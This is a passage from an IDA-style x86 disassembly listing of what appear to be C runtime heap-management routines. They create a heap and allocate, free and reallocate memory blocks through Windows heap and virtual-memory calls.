mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_418A41: ; CODE XREF: sub_4189D0+12j ; sub_4189D0+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_4189D0 endp ; =============== S U B R O U T I N E ======================================= sub_418A48 proc near ; CODE XREF: sub_415DBB+1Fp ; sub_4174BF+106p ... arg_0 = dword ptr 4 mov eax, ds:dword_4694D8 test eax, eax jz short loc_418A60 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_418A60 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418A60: ; CODE XREF: sub_418A48+7j ; sub_418A48+12j xor eax, eax retn sub_418A48 endp ; =============== S U B R O U T I N E ======================================= sub_418A63 proc near ; CODE XREF: seg000:00417B32p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_421174 ; HeapCreate test eax, eax mov ds:dword_46AAE0, eax jz short loc_418A98 call sub_418A9F test eax, eax jnz short loc_418A9B push ds:dword_46AAE0 call ds:dword_421170 ; HeapDestroy loc_418A98: ; CODE XREF: sub_418A63+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_418A9B: ; CODE XREF: sub_418A63+27j push 1 pop eax retn sub_418A63 endp ; =============== S U B R O U T I N E ======================================= sub_418A9F proc near ; CODE XREF: sub_418A63+20p push 140h push 0 push ds:dword_46AAE0 call ds:dword_42114C ; RtlAllocateHeap test eax, eax mov ds:dword_46AADC, eax jnz short loc_418ABC retn ; --------------------------------------------------------------------------- loc_418ABC: ; CODE XREF: sub_418A9F+1Aj and ds:dword_46AAD4, 0 and ds:dword_46AAD8, 0 push 1 mov ds:dword_46AAD0, eax mov ds:dword_46AAC8, 10h pop eax retn sub_418A9F endp ; =============== S U B R O U T I N E ======================================= sub_418ADD proc near ; CODE XREF: sub_415E1D+Ap ; sub_4174BF+3Dp ... arg_0 = dword ptr 4 mov eax, ds:dword_46AAD8 lea ecx, [eax+eax*4] mov eax, ds:dword_46AADC lea ecx, [eax+ecx*4] loc_418AED: ; CODE XREF: sub_418ADD+26j cmp eax, ecx jnb short loc_418B05 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_418B07 add eax, 14h jmp short loc_418AED ; --------------------------------------------------------------------------- loc_418B05: ; CODE XREF: sub_418ADD+12j xor eax, eax locret_418B07: ; CODE XREF: sub_418ADD+21j retn sub_418ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B08 proc near ; CODE XREF: sub_415E1D+16p ; sub_4174BF+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_418BCE sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_418B60 mov [ebp+arg_4], edi loc_418B60: ; CODE XREF: sub_418B08+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_418BB2 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_418B8E mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_418BB2 mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_418BB2 ; --------------------------------------------------------------------------- loc_418B8E: ; CODE XREF: sub_418B08+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_418BB2 mov ecx, [ebp+arg_0] and [ecx+4], edi loc_418BB2: ; CODE XREF: sub_418B08+60j ; sub_418B08+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_418BCE: ; CODE XREF: sub_418B08+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_418BDC push 3Fh pop edi loc_418BDC: ; CODE XREF: sub_418B08+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_418C8B sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_418C07 mov [ebp+arg_4], edx mov ecx, edx loc_418C07: ; CODE XREF: sub_418B08+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_418C19 mov edi, edx loc_418C19: ; CODE XREF: sub_418B08+10Dj cmp ecx, edi jz short loc_418C88 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_418C70 mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_418C4C mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_418C70 mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_418C70 ; --------------------------------------------------------------------------- loc_418C4C: ; CODE XREF: sub_418B08+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_418C70 mov ecx, [ebp+arg_0] and [ecx+4], edx loc_418C70: ; CODE XREF: sub_418B08+11Ej ; sub_418B08+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_418C88: ; CODE XREF: sub_418B08+113j mov edx, [ebp+var_8] loc_418C8B: ; CODE XREF: sub_418B08+DDj cmp [ebp+var_14], 0 jnz short loc_418C9A cmp [ebp+arg_4], edi jz loc_418D23 loc_418C9A: ; CODE XREF: sub_418B08+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_418D23 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_418CF7 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418CE6 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418CE6: ; CODE XREF: sub_418B08+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_418D20 ; --------------------------------------------------------------------------- loc_418CF7: ; CODE XREF: sub_418B08+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418D0D lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_418D0D: ; CODE XREF: sub_418B08+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_418D20: ; CODE XREF: sub_418B08+1EDj mov ebx, [ebp+var_C] loc_418D23: ; CODE XREF: sub_418B08+18Cj ; sub_418B08+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_418E2E mov eax, ds:dword_46AAD4 test eax, eax jz loc_418E20 mov ecx, ds:dword_46AACC mov edi, ds:dword_421178 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; VirtualFree mov ecx, ds:dword_46AACC mov eax, ds:dword_46AAD4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, ds:dword_46AAD4 mov ecx, ds:dword_46AACC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, ds:dword_46AAD4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, ds:dword_46AAD4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_418DAE and dword ptr [eax+4], 0FFFFFFFEh mov eax, ds:dword_46AAD4 loc_418DAE: ; CODE XREF: sub_418B08+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_418E20 push ebx push 0 push dword ptr [eax+0Ch] call edi ; VirtualFree mov eax, ds:dword_46AAD4 push dword ptr [eax+10h] push 0 push ds:dword_46AAE0 call ds:dword_421150 ; RtlFreeHeap mov eax, ds:dword_46AAD8 mov edx, ds:dword_46AADC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, ds:dword_46AAD4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_416470 mov eax, [ebp+arg_0] add esp, 0Ch dec ds:dword_46AAD8 cmp eax, ds:dword_46AAD4 jbe short loc_418E12 sub eax, 14h loc_418E12: ; CODE XREF: sub_418B08+305j mov ecx, ds:dword_46AADC mov ds:dword_46AAD0, ecx jmp short loc_418E23 ; --------------------------------------------------------------------------- loc_418E20: ; CODE XREF: sub_418B08+233j ; sub_418B08+2AAj mov eax, [ebp+arg_0] loc_418E23: ; CODE XREF: sub_418B08+316j mov ds:dword_46AAD4, eax mov ds:dword_46AACC, esi loc_418E2E: ; CODE XREF: sub_418B08+226j pop edi pop esi pop ebx leave retn sub_418B08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E33 proc near ; CODE XREF: sub_415DE7+Ep ; sub_4174BF+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_46AAD8 mov edx, ds:dword_46AADC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_418E73 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_418E83 ; --------------------------------------------------------------------------- loc_418E73: ; CODE XREF: sub_418E33+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_418E83: ; CODE XREF: sub_418E33+3Ej mov eax, ds:dword_46AAD0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_418EAA loc_418E91: ; CODE XREF: sub_418E33+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418EAA add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_418E91 loc_418EAA: ; CODE XREF: sub_418E33+5Cj ; sub_418E33+6Aj cmp ebx, [ebp+var_4] jnz short loc_418F28 mov ebx, edx loc_418EB1: ; CODE XREF: sub_418E33+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418ECD mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418ECB add ebx, 14h jmp short loc_418EB1 ; --------------------------------------------------------------------------- loc_418ECB: ; CODE XREF: sub_418E33+91j cmp ebx, eax loc_418ECD: ; CODE XREF: sub_418E33+83j jnz short loc_418F28 loc_418ECF: ; CODE XREF: sub_418E33+ADj cmp ebx, [ebp+var_4] jnb short loc_418EE5 cmp dword ptr [ebx+8], 0 jnz short loc_418EE2 add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_418ECF ; --------------------------------------------------------------------------- loc_418EE2: ; CODE XREF: sub_418E33+A5j cmp ebx, [ebp+var_4] loc_418EE5: ; CODE XREF: sub_418E33+9Fj jnz short loc_418F0D mov ebx, edx loc_418EE9: ; CODE XREF: sub_418E33+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418EFD cmp dword ptr [ebx+8], 0 jnz short loc_418EFB add ebx, 14h jmp short loc_418EE9 ; --------------------------------------------------------------------------- loc_418EFB: ; CODE XREF: sub_418E33+C1j cmp ebx, eax loc_418EFD: ; CODE XREF: sub_418E33+BBj jnz short loc_418F0D call sub_41913C mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_418F21 loc_418F0D: ; CODE XREF: sub_418E33:loc_418EE5j ; sub_418E33:loc_418EFDj push ebx call sub_4191ED pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_418F28 loc_418F21: ; CODE XREF: sub_418E33+D8j xor eax, eax jmp loc_419137 ; --------------------------------------------------------------------------- loc_418F28: ; CODE XREF: sub_418E33+7Aj ; sub_418E33:loc_418ECDj ... mov ds:dword_46AAD0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_418F4F mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418F86 loc_418F4F: ; CODE XREF: sub_418E33+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_418F83 loc_418F6C: ; CODE XREF: sub_418E33+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_418F6C loc_418F83: ; CODE XREF: sub_418E33+137j mov edx, [ebp+var_4] loc_418F86: ; CODE XREF: sub_418E33+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_418FAF mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_418FAF: ; CODE XREF: sub_418E33+16Dj ; sub_418E33+183j test ecx, ecx jl short loc_418FB8 shl ecx, 1 inc edi jmp short loc_418FAF ; --------------------------------------------------------------------------- loc_418FB8: ; CODE XREF: sub_418E33+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_418FD5 push 3Fh pop esi loc_418FD5: ; CODE XREF: sub_418E33+19Dj cmp esi, edi jz loc_4190EA mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_419046 cmp edi, 20h jge short loc_419015 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_419043 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_419046 ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418E33+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_419043 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_419046 ; --------------------------------------------------------------------------- loc_419043: ; CODE XREF: sub_418E33+1D6j ; sub_418E33+203j mov ebx, [ebp+arg_0] loc_419046: ; CODE XREF: sub_418E33+1B0j ; sub_418E33+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_4190F6 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_4190E7 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_4190B8 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4190A6 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_4190A6: ; CODE XREF: sub_418E33+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_4190E7 ; --------------------------------------------------------------------------- loc_4190B8: ; CODE XREF: sub_418E33+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4190D1 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4190D1: ; CODE XREF: sub_418E33+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_4190E7: ; CODE XREF: sub_418E33+24Ej ; sub_418E33+283j mov ecx, [ebp+var_8] loc_4190EA: ; CODE XREF: sub_418E33+1A4j test ecx, ecx jz short loc_4190F9 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_4190F9 ; --------------------------------------------------------------------------- loc_4190F6: ; CODE XREF: sub_418E33+229j mov ecx, [ebp+var_8] loc_4190F9: ; CODE XREF: sub_418E33+2B9j ; sub_418E33+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41912F cmp ebx, ds:dword_46AAD4 jnz short loc_41912F mov ecx, [ebp+var_4] cmp ecx, ds:dword_46AACC jnz short loc_41912F and ds:dword_46AAD4, 0 loc_41912F: ; CODE XREF: sub_418E33+2E0j ; sub_418E33+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_419137: ; CODE XREF: sub_418E33+F0j pop edi pop esi pop ebx leave retn sub_418E33 endp ; =============== S U B R O U T I N E ======================================= sub_41913C proc near ; CODE XREF: sub_418E33+CCp mov eax, ds:dword_46AAD8 mov ecx, ds:dword_46AAC8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41917F lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_46AADC push edi push ds:dword_46AAE0 call ds:dword_421160 ; RtlReAllocateHeap cmp eax, edi jz short loc_4191CF add ds:dword_46AAC8, 10h mov ds:dword_46AADC, eax mov eax, ds:dword_46AAD8 loc_41917F: ; CODE XREF: sub_41913C+11j mov ecx, ds:dword_46AADC push 41C4h push 8 lea eax, [eax+eax*4] push ds:dword_46AAE0 lea esi, [ecx+eax*4] call ds:dword_42114C ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_4191CF push 4 push 2000h push 100000h push edi call ds:dword_42117C ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_4191D3 push dword ptr [esi+10h] push edi push ds:dword_46AAE0 call ds:dword_421150 ; RtlFreeHeap loc_4191CF: ; CODE XREF: sub_41913C+30j ; sub_41913C+67j xor eax, eax jmp short loc_4191EA ; --------------------------------------------------------------------------- loc_4191D3: ; CODE XREF: sub_41913C+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc ds:dword_46AAD8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_4191EA: ; CODE XREF: sub_41913C+95j pop edi pop esi retn sub_41913C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4191ED proc near ; CODE XREF: sub_418E33+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_4191FF: ; CODE XREF: sub_4191ED+19j test eax, eax jl short loc_419208 shl eax, 1 inc ebx jmp short loc_4191FF ; --------------------------------------------------------------------------- loc_419208: ; CODE XREF: sub_4191ED+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41921D: ; CODE XREF: sub_4191ED+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41921D mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call ds:dword_42117C ; VirtualAlloc test eax, eax jnz short loc_419250 or eax, 0FFFFFFFFh jmp loc_4192E3 ; --------------------------------------------------------------------------- loc_419250: ; CODE XREF: sub_4191ED+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_419296 lea eax, [edi+10h] loc_41925D: ; CODE XREF: sub_4191ED+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41925D loc_419296: ; CODE XREF: sub_4191ED+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_4192D3 or [eax+4], edi loc_4192D3: ; CODE XREF: sub_4191ED+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_4192E3: ; CODE XREF: sub_4191ED+5Ej pop edi pop esi pop ebx leave retn sub_4191ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192E8 proc near ; CODE XREF: sub_4174BF+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_419496 test bl, 1 jnz loc_41948F add ebx, ecx cmp esi, ebx jg loc_41948F mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41935F push 3Fh pop ecx mov [ebp+var_8], ecx loc_41935F: ; CODE XREF: sub_4192E8+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_4193AF cmp ecx, 20h jnb short loc_41938B mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_4193AF mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4193AF ; --------------------------------------------------------------------------- loc_41938B: ; CODE XREF: sub_4192E8+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4193AF mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4193AF: ; CODE XREF: sub_4192E8+7Dj ; sub_4192E8+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41947D mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_4193E9 push 3Fh pop edi loc_4193E9: ; CODE XREF: sub_4192E8+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41946B mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_419442 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419435 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_419435: ; CODE XREF: sub_4192E8+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_419467 ; --------------------------------------------------------------------------- loc_419442: ; CODE XREF: sub_4192E8+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_419458 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_419458: ; CODE XREF: sub_4192E8+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_419467: ; CODE XREF: sub_4192E8+158j shr edx, cl or [eax], edx loc_41946B: ; CODE XREF: sub_4192E8+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_419480 ; --------------------------------------------------------------------------- loc_41947D: ; CODE XREF: sub_4192E8+E5j mov edx, [ebp+arg_4] loc_419480: ; CODE XREF: sub_4192E8+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_4195D6 ; --------------------------------------------------------------------------- loc_41948F: ; CODE XREF: sub_4192E8+52j ; sub_4192E8+5Cj xor eax, eax jmp loc_4195D9 ; --------------------------------------------------------------------------- loc_419496: ; CODE XREF: sub_4192E8+49j jge loc_4195D6 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_4194C1 push 3Fh pop esi loc_4194C1: ; CODE XREF: sub_4192E8+1D4j test byte ptr [ebp+var_4], 1 jnz loc_419550 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4194DA push 3Fh pop esi loc_4194DA: ; CODE XREF: sub_4192E8+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_419529 cmp esi, 20h jnb short loc_419505 mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_419526 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_419526 ; --------------------------------------------------------------------------- loc_419505: ; CODE XREF: sub_4192E8+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_419526 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_419526: ; CODE XREF: sub_4192E8+214j ; sub_4192E8+21Bj ... mov ebx, [ebp+arg_4] loc_419529: ; CODE XREF: sub_4192E8+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_419550 push 3Fh pop esi loc_419550: ; CODE XREF: sub_4192E8+1DDj ; sub_4192E8+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_4195CD mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_4195A4 cmp byte ptr 